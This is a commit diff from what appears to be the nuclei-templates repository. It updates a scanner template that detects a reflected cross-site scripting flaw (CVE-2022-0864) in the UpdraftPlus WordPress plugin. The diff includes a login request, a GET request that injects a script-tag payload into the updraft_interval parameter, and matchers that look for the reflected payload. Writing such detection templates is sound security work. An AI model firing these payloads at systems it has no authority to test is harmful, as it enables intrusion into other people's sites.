Merge pull request #8634 from projectdiscovery/CVE-2022-0864

Update FN CVE-2022-0864.yaml
patch-1
Dhiyaneshwaran 2023-11-18 18:12:28 +05:30 committed by GitHub
commit 114e799792
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 6 deletions

View File

@ -21,8 +21,8 @@ info:
epss-percentile: 0.62009
cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
verified: true
vendor: 'updraftplus'
product: 'updraftplus'
framework: wordpress
@ -37,19 +37,19 @@ http:
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm(document.domain)</script> HTTP/1.1
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
part: body_2
words:
- '</script><script>confirm(document.domain)</script>'
- 'updraftplus'
- "<script>confirm('document_domain')</script>"
- "Existing backups"
condition: and
- type: word